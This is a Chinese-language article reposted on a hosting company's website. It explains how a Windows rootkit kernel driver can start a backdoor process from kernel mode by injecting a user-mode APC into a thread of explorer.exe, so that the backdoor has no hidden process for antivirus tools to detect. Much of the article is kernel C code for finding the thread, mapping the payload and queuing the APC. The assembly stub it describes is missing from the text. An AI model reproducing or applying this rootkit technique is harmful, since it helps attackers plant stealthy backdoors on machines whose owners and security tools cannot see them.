欢迎访问第1万维网网站!用户名: 密码: [忘记密码]

合作代理 | 在线咨询

您的位置: 第一万维网 >> 服务器 >> 正 文

Rootkit如何在内核模式实现后门隐藏

来源:第一万维网   更新时间:2009-4-27 21:02:55
  Rootkit技术已经用于很多流氓软件中,杀毒软件开始重视Rootkit。很多Rootkit所做的主要工作是在内核态做手脚来隐藏攻击者的后门。那么相应就有很多检测工具来检测隐藏的进程与线程。

  有没有办法在Rootkit的内核模块里就实现一个完整的后门,提供一个CMD出来呢?这样就免去了隐藏进程所带来的风险。

  NT Rootkit试图这么做过,不知道什么原因这个功能并没有开发完成。这涉及到一个问题,如何从内核态来执行用户态代码。

  关于这个话题有人很早就已经研究了,但是目前还没有成熟的、公开源码的后门使用这样的技术。也许觉得这很神秘?其实不然。Rootkit.com上的valerino就提到过用APC的方法来CreateProcess。

  如果对Windows操作系统有深入的了解,那么很快你可以想到一个函数:KeUserModeCallback;如果你对linux也比较了解,你会知道一个宏:move_to_user_mode。他们两个实质都是使用中断返回的方式执行到了用户态代码。

  但这会带来一些问题,他们都只能让你的代码运行在当前线程,以及如何触发他们?

  你也许会想到Windows的APC,它可以让代码运行在一个你任意制定的线程环境中。然而APC常常为系统所用(比如I/O Manager),通常的开发人员是不会去接触这个东西,所以相应的文档资料就少得可怜。

  APC(Asynchronous Procedure Call) --- 异步过程调用

  APC的精确定义我不太明确,通过它的行为,可以这样理解:将一个内核过程插入到一个线程队列等待执行,相当于强行插入到特定线程上下文中去执行的一段代码。

  系统中存在三种APC:

  普通内核APC:它们可以插入内核线程,它们在那个内核线程没有执行其他APC的时候执行。

  特定内核APC:基本上和上面的一样。但它们运行在APC_LEVEL中断级,而且不能被阻塞,除非它们运行在更高的中断级。它们可抢占普通内核APC的执行。

  用户态APC:这种APC只能插入到一个用户线程中,这个线程必须事先调用一个等待函数比如WaitForSingleObject而且将Alertable置为TRUE。下一次线程从内核返回的时候,这个APC就得以执行。这就是我们要利用的APC了。
创建进程

  我们创建进程的思路如下:

  1.遍历系统进程列表,找到explore.exe。explore.exe是桌面交互进程,一般来说Windows里面都存在,而且它里面处于Wait状态的线程很多(可以用sysinternals的工具ProcessExplorer查看进程中的线程信息,当然线程有alertable的也有non-alertable的,后面将在代码看到他们如何处理)。explore.exe就是我们插入APC的良好宿主。

  2.一旦我们找到了explore.exe,我们需要在里面找到一个alertable的线程。如果找不到,我们就将代码指针保存在一个non-alertable的线程中,将它ApcState.UserApcPending设置为TRUE,这样就将此线程设置为alertable的了。

  3.我们事先得到explore进程的Eprocess指针,还有它其中一个线程的Ethread指针。接下来我们就将我们的APC对象(包含我们要在用户态执行的代码)插入线程的APC队列,然后在它执行完的时候,我们释放为这个APC分配的内存资源。

  而我所指的"我们要在用户态执行的代码",就是在用户态创建一个特定的进程。APC被执行的时,这个用户态进程就被创建了。

  要在用户态执行的代码为RunProcess(LPSTR lpProcess),其中lpProcess参数就是要创建的进程EXE文件所在的绝对路径。

      void RunProcess(LPSTR lpProcess)
  {
  PEPROCESS pTargetProcess = NULL;
  PKTHREAD pTargetThread = NULL;
  PKTHREAD pNotAlertableThread = NULL;
  PEPROCESS pSystemProcess = NULL;
  PETHREAD pTempThread = NULL;
  PLIST_ENTRY pNextEntry, pListHead, pThNextEntry;
  //...
  }


  首先我们获得"System"进程的Eprocess指针。

      pSystemProcess = PsGetCurrentProcess();
  //运行在 PASSIVE_LEVEL 中断级


  pSystemProcess->ActiveProcessLinks是一个LIST_ENTRY 结构,这个链表里面含有指向其他活动进程Eprocess的指针(我们通常所说的"活动进程链表")。我们可以在里面获得explore.exe进程的Eprocess以及它里面的一个线程Ethread。(理论上可以用任何进程,但实际情况,插入APC很可能让CSRSS,SVCHOST进程Crash)。找到目标后,我们就可以插入我们的APC了

      if(!pTargetThread)
  {
  //没有找到alertable线程, 那么找一个non-alertable的
  pTargetThread = pNotAlertableThread;
  }
  if(pTargetThread)
  {
  DbgPrint("KernelExec -> Targeted thread: 0x%p",
  pTargetThread);
  //得到了目标线程,插入APC
  InstallUserModeApc(lpProcess,
  pTargetThread,
  pTargetProcess);
  }
  InstallUserModeApc 原型:
  CODENTSTATUS
  InstallUserModeApc(
  IN LPSTR lpProcess,
  IN PKTHREAD pTargetThread,
  IN PEPROCESS pTargetProcess);


  其中pTargetProcess是目标进程explore.exe的Eprocess指针,pTargetThread是我们的APC即将插入的线程KTHREAD指针。接着我们就为APC和映射我们代码的内存描述表(MDL)分配内存:

      PRKAPC pApc = NULL;
  PMDL pMdl = NULL;
  ULONG dwSize = 0; //我们要执行的代码尺寸
  pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC));
  dwSize = (unsigned char*)ApcCreateProcessEnd-
  (unsigned char*)ApcCreateProcess;
  pMdl = IoAllocateMdl (ApcCreateProcess, dwSize, FALSE,FALSE,NULL);
  //查找可写内存页面,并将其Lock,不会产生页交换.
  MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);


  这样我的APC就准备好了,pMdl驻留在内存中,映射到我们的用户态代码(就是ApcCreateProcess()。如果Explore.exe没有访问内核区域的权限,它怎么能调用我们的APC例程呢?

      KAPC_STATE ApcState;
  //附着到Explore.exe的进程空间
  KeStackAttachProcess(&(pTargetProcess->Pcb),&ApcState);
  //将我们的代码物理页面映射到进程空间
  pMappedAddress =
  MmMapLockedPagesSpecifyCache(pMdl,
  UserMode,
  MmCached,
  NULL,FALSE,
  NormalPagePriority);


  我们来看看我们的APC代码,它将映射到Explorer的进程地址空间

将WinExec函数的地址装载入EAX寄存器,(0x7C86136D是在WinXp SP2上取得的地址),我们将参数2(SW_SHOWNORMAL)压入堆栈,然后0xabcd,然后call。0xabcd是WinExec()的第一个参数,它指向WinExec执行的程序。

  因为WinExec不能访问那个地址,它将导致一个内存访问异常。不能从用户态访问一个内核地址。那么,在我们映射我们的代码到用户态地址中以后,我们就将这个lpProcess地址copy到第一个nop指令后面。以下是这些动作的代码:

    ULONG *data_addr=0; //用来存贮我们ApcCreateProcess例程中push指令后面的地址
  ULONG dwMappedAddress = 0;
  pMappedAddress =
  MmMapLockedPagesSpecifyCache(pMdl,
  UserMode,
  MmCached,
  NULL,FALSE,
  NormalPagePriority);
  dwMappedAddress = (ULONG)pMappedAddress;
  //腾位置,清零.
  memset ((unsigned char*)pMappedAddress + 0x14, 0, 300);
  //Copy lpProcess,即我们要执行的exe文件地址的字符串,到映射的内存空间
  memcpy ((unsigned char*)pMappedAddress + 0x14,
  lpProcess,
  strlen (lpProcess));
  data_addr = (ULONG*)((char*)pMappedAddress+0x9);//(参数0xabcd原来的位置)
  *data_addr = dwMappedAddress+0x14; //指向我们的想要执行的exe路径字符串.
  //完成,,Attach后记得Detach.
  KeUnstackDetachProcess (&ApcState);


  现在要做的就只是初始化我们的APC然后插入目标线程。

      //初始化APC
  KeInitializeApc(pApc,
  pTargetThread,
  OriginalApcEnvironment,
  &ApcKernelRoutine,
  NULL,
  pMappedAddress,
  UserMode,
  NULL);
  //插入APC队列
  KeInsertQueueApc(pApc,0,NULL,0);
  //若是non-alertable线程
  if(!pTargetThread->ApcState.UserApcPending)
  {
  //置为alertable
  pTargetThread->ApcState.UserApcPending = TRUE;
  }
  return STATUS_SUCCESS;
  }

 
  • 上一篇文章:
  • 下一篇文章: 没有了
  • 最新图片新闻文章

    网友正在看下面的相关文章

    快捷操作

    本栏目最新文章

    业界新闻

    第一万维网公告

    本站最新图片文章

    第一万维网QQ客服

    为了给您提供更加方便快捷的服务请选择您的服务专员,点击QQ号码即可。
    企业在线客服QQ:800015119

    第一万维网快速服务导航